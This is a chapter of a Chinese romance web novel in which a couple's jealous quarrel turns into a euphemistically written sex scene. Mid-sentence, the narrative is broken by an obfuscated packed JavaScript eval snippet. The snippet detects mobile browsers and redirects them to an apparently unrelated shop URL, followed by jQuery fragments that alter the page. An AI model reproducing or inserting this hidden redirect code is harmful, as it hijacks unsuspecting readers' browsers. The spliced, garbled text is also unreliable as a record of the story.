“一定要走也可以,把手表还我。”
姜梨临走前拿走了罗序抽屉中的手表。那是三十岁的生日礼物。“我女朋友送的,你无权收回。”
罗序眼神冰冷,仿佛真的准备放开她。
“你无理取闹!”
被紧箍在怀里,她也不消停,拼命用膝盖去撞他,结果疼得好像只有自己。
罗序滚烫的大腿和结实的小腿像生了根,岿然不动。
“那是送我男朋友的,你没有权利要回去。”
打不过,嘴上就不能输,姜梨梗着脖子反驳。
“嗯?”罗序又往前凑了凑,彻底把姜梨压在墙上,“拿回去送别的男朋友?”
“对,还要再买十个八个,否则不够分。”
姜梨本就生气,罗序胡搅蛮缠,她也破罐破摔,要气一起气,都气死才好呢。
谁知道罗序笑了。
他使劲儿压着唇角,目光玩味地在她涨红的脸颊上扫了一圈,随即点点头,“行,是个八个是,说出名字我就放你走。”
“你有病!”姜梨眼里的希望逐渐碎裂,看来他根本就不打算放了她。“我男朋友是谁和你有关系吗,管好你的蒋清月吧,少烦我。”
“她?”罗序皱着眉摇摇头,一脸的不认同。
可姜梨却不想再听他解释,直接开怼,“你不用否认。我在楼下都听见了,不就是给男朋友送饭吗,有什么好显摆的。还有,她膝盖上的伤也是你弄的吧。”
只简单回忆了一下,罗序若有似无地点点头,好像确实和自己有关。不是他推一下,两个人就不会一起栽倒,也不会有后面的事发生。
他有些后悔多此一举,眼睫垂下,眸色暗淡。
以为他承认了,姜梨心头钝痛,但轻蔑一笑,“挺会玩。看来大老远跑到上江是有新P友了,恭喜恭喜。”
这是她能想到的最恶毒的侮辱,却不能宣泄心头的怨恨。
再次爆出大逆不道之词,罗序眸色一沉,姜梨觉得整个后背陷进墙里。
“谁教你这些。”
“用得着教吗?满大街都是,不愿意上街,视频里都是。罗序,你还是岁数大了,落伍了……”
不等她说完,罗序腾出一只手掐住两颊,迫使她嘴唇像鱼一样张开。这感觉不妙,她不能说话,失去反抗能力,有种人为刀俎我为鱼肉的危机感。
“所以,这几天不见我是因为她?”罗序声音沉静下来,显得整个房间都静了。
姜梨倔强地扭过头,不予回答。牙齿摩擦着腮边软肉有些疼,她眼角也湿了。
是她不想见吗,根本见不到。
如果不是她凭着勇猛闯进办公室,也不会这么堵得慌。
意识到这样得不到答案,罗序放开手,又问了一遍,这次语气好很多。
“所以,姜姜在吃醋,和我一样?”
“才没有,跟我有关系吗,我是连罗董面都见不到的……”
后半句没说完,她的唇就被罗序含住。
这是不带情欲,略带惩戒的一吻。可她还是像被风迷了眼睛一般有些晕。
片刻,他离开。
“我问你是不是吃醋了?”罗序停了停,“好好回答一遍。”
他又变回那个隐忍、克制、耐心的罗序,语气循循善诱,仿佛答对了就有糖吃。
但姜梨显然还不想和解。
“这就是我的答案,罗序你身边那么多女人,不差我一个,赶紧放了我……”
姜梨没了耐心,连扑腾带挠,好几下都落在对方脖子和胳膊上。
罗序感觉怀中的女孩儿像鸟,即将控制不住要飞走的鸟。
他加紧力道一压,下巴贴着她耳尖,轻叹一声,“我有多少女人?姜姜试试就知道。”
腾的一下,天旋地转,姜梨真的飞起。
她被抱起,甩上肩膀,摇摇晃晃向卧室飘去。
手工皮鞋压在地毯上,只有踏实的咚咚声。
她回过神来,不停在他后背拍打,哀求放自己下来。
可罗序三两下扯开领带,啪地甩在一边。
他打定主意,对于胡搅蛮缠,死鸭子嘴硬的姜梨,必须采取实际行动才行。
笃定而深沉的一吻裹挟着炽热的气息将她扑倒。
呼吸交错间,罗序觉得嘴唇刺痛,放开,再吻。
如是反复,终于不再抗争。
她不想做闺蜜口中的恋爱脑,一遇到罗序就放弃原则,放弃抵抗,情绪起伏全由对方操控。
然而今天他们都放弃了原则;此时两人都放弃抵抗;做对方的手,操纵彼此。
所以,姜梨不知道自己的T恤怎么会斜斜地搭在椅背上,只记得亲手解开一颗颗细小的衬衫纽扣。
不记得瓷白色两片为什么像飞累了的翅膀一样躲在被子下,只记得罗序的喉结和脖颈热得烫手。
她真的累了。不是飞累了,是吵累了、折腾累了。
那点对男女感情的隔阂与芥蒂尽数消弭在罗序一声声的呼唤和耐心的雕琢中。
“姜姜看着我。”
她却像方才一样,故意扭过头,不看他。
可手掌摩擦着小臂那一截纱布却心疼得皱眉。
罗序略带潮热的手掌拨开散乱的头发,像在草丛中寻找珍宝,脊背汗淋淋的,摸上去滑滑的。
他缓缓俯身,贴着颈侧优美的弧线一路吻了下去。
“还气吗?”
他故意换着花样地吻。
有时轻轻像蝴蝶吸吮花蜜;有时像蜜蜂刺破花蕊;有时像小熊贪婪地舔舐蜂巢。
但无一例外,都是轻轻的,轻得姜梨想笑。
她一笑,罗序也笑。
罗序一笑,她便恼了,抬手重重打他。
清脆地啪一声,罗序顺势搪塞开,让她搂着自己,这才重重地吻上来。
轻柔的月光如奶油般化开,浮在细密的云层上。
姜梨的视线也越来越飘忽,飘到那条如丝带般的江面上才静止,那江紧紧缠住她。
手心黏腻而湿热,甚至带着一点痒痒的感觉.
这前所未有的颤抖让她屏住呼吸,闭上眼睛,脑海里还飘着那条银光闪闪的丝带。
丝带彻底散开,束住手脚。她奋力挣开,却有一股力量扩散到掌心和手心,像乘风启航前的蓄势待发。
她怕飞得太远,紧紧握住宽厚的臂膀,然后那力量的源泉却消失了。
戛然而止的两人都气喘吁吁。
姜梨恨恨地拍罗序,罗序则笑着把她摁进被子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238100|187902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中,“不许气了。”
“少在这时候教育我。”姜梨忿忿地拉高被子挡住,“你再说我就走。”
罗序眉毛一挑,攥住她脚腕往身前一带,影子便彻底笼罩下来。
眼看逃脱无望的姜梨一闭眼睛,然而没有等到熟悉的触感,反而鼻尖有一点温热。
是罗序轻啄了一下。
他用胳膊圈着她,影子在她四周蔓延开,盖过乌黑的卷发。
“姜姜,不要再吃醋,不必怀疑你在我心里的位置。你比任何人……”说着他又亲了亲,“比任何人都重要。甚至超过了我的母亲。我眼里不会再有任何女人。”
暖黄的灯火映在姜梨圆圆的瞳孔中,像点了两团火。
罗序的喉结滚了滚,指尖顺着眉毛滑过面颊落在腮边梨涡上。他轻轻捏了捏,“别再说P友之类的话。我知道那很过瘾,但对你不好。不管别的女孩儿怎么说,我家的不可以。”
“谁是你家的。”
姜梨作势打在他脸上。但手指软软的像初春的柳枝,扫了一下就被罗序握住。
他逗弄地卷卷小腹,“不是我家的,我们在干嘛?”
轻哼一声,便耐心地吻着姜梨白嫩的手腕儿。
一边吻一边叮嘱,“我也不再提他,但是我和蒋家少不了过面,但都与你无关。以后再遇到类似情况,可不可以先想起我。当然,我不想以后你再有事。”
罗序向来能够多线并行。甚至可以一边吻她,一边叮嘱细节,手下动作也不停,这让刚刚沉静下来的气息越来越炽热。
而姜梨只能专注一点,气泡音的吻在静谧中炸开,她眼里的光就越迷蒙。
不等她回应,罗序轻咬下锁骨,腰腹一收,揽着她坐起来。
拨开薄薄床幔,他望向远方,“姜姜,看到那里了吗?以后我们每天都在这儿看它。”
江水远眺是宁静的,近处才能窥见起起伏伏的波涛,就像此时薄纱床幔轻摇的细微响动,只落在她们耳朵里。
被炙热裹挟着,姜梨迷迷糊糊地瞥一眼,便再也无心观景。
慵懒的卷发像生了触手搭在罗序宽厚的肩上。
指尖穿进发丝,卷发缠绕小臂,像姜梨缠在他腰上。
他喜欢姜梨的头发,像她的主人一样不乖巧却有独特的温柔。
就像现在,头发并不紧贴着胳膊,起伏的弧度随着动作时不时剐蹭着皮肤,心尖都跟着痒痒。
呼吸随着轻摇越来越急促,姜梨抱着罗序,吻他皱起的眉头和扎手的短发;他则埋在胸前,感受柔软而纷乱的心跳。
……
从浴室出来的罗序俯身在床边轻唤几声,姜梨只咕哝着就翻过身去。
壁灯虽昏暗,但足够看清。
女孩儿脸颊红润,睡着了也能看出气色较之前好了许多。
他这才满意地系了系松散的浴袍。
光脚穿过中厅,在最外层会客厅喝口水,润润干渴的喉咙,罗序才把门开个缝,挤了出去。
门口两个保镖第一次见他这副打扮,脸色精彩地对视,然后迅速低下头,保持耳提面命的姿态。
餍足的目光从两人头上飘过,罗序不紧不慢地问道,“通宵会议期间,谁负责接听电话?还有,谁把人放进办公室的?”